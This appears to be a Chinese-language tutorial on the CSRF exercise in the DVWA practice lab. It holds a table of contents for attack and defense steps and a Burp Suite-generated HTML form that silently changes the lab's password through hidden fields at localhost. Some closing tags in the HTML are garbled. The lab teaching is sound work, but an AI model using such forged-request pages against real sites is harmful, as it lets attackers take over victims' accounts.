【渗透测试-web安全】DVWA-CSRF
- 一、登录DVWA、设置安全级别为Low、进入CSRF
-
- 修改密码
- 抓包
- 使用burpsuite右键构造CSRF
- 打开测试
- 二、CSRF构造解析
- 三、防范与破解进阶
-
- 进阶防范1
- 进阶破解之道1
- 进阶防范2
- 进阶破解之道2
- 进阶防范3
一、登录DVWA、设置安全级别为Low、进入CSRF
修改密码

抓包

使用burpsuite右键构造CSRF
<html>
<body>
<script>history.pushState('', '', '/')script>
<form action="http://localhost/dvwa/vulnerabilities/csrf/">
<input type="hidden" name="password_new" value="root" />
<input type="hidden" name="password_conf" value="root" />
<input type="hidden" name="Change" value="Change" />
<input type="submit" value="ChangePassword" />
form>
body>